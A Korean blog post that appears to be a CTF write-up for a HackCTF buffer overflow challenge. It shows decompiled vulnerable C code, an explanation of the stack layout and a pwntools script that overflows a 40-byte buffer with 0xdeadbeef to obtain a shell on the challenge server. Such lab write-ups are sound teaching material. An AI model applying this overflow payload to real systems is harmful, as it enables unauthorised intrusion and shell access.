int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[40]; // [esp+4h] [ebp-34h] BYREF
int v5; // [esp+2Ch] [ebp-Ch]
v5 = 0x4030201;
fgets(s, 45, stdin);
printf("\n[buf]: %s\n", s);
printf("[check] %p\n", (const void *)v5);
if ( v5 != 0x4030201 && v5 != 0xDEADBEEF )
puts("\nYou are on the right way!");
if ( v5 == 0xDEADBEEF )
{
puts("Yeah dude! You win!\nOpening your shell...");
system("/bin/dash");
puts("Shell closed! Bye.");
}
return 0;
}
문제 파일을 ida로 분석하면 위 코드와 같습니다. pwnable.kr 문제를 풀다가 HackCTF 문제를 푸니 문제가 아주 쉬워보이는 효과가 있습니다. 방법은 간단합니다. gdb로 스택을 관찰하면 아래와 같습니다.
+------------------------+
| |
| ret |
| sfp | <- esp
| ... |
| v5 |
| ... |
| s |
+------------------------+
여기서 s와 v5사이 거리는 40이고 fgets함수로 45만큼 입력할 수 있으므로 v5를 0xdeafbeef로 덮어씌우면 플래그를 획득할 수 있습니다.
exploit.py
#!/usr/bin/python
from pwn import *
context.log_level='debug'
r=remote("ctf.j0n9hyun.xyz",3000)
payload=b"A"*40+b"\xef\xbe\xad\xde"
r.send(payload)
r.interactive()
'시스템 해킹 > CTF' 카테고리의 다른 글
[HackCTF] 내 버퍼가 흘러넘친다!!! (0) | 2021.09.12 |
---|---|
[HackCTF] Basic_BOF #2 (0) | 2021.09.12 |
[Square CTF] 6yte (0) | 2021.09.04 |
[Square CTF] Bytes (0) | 2021.09.04 |
보호기법 정리 (0) | 2021.08.20 |
댓글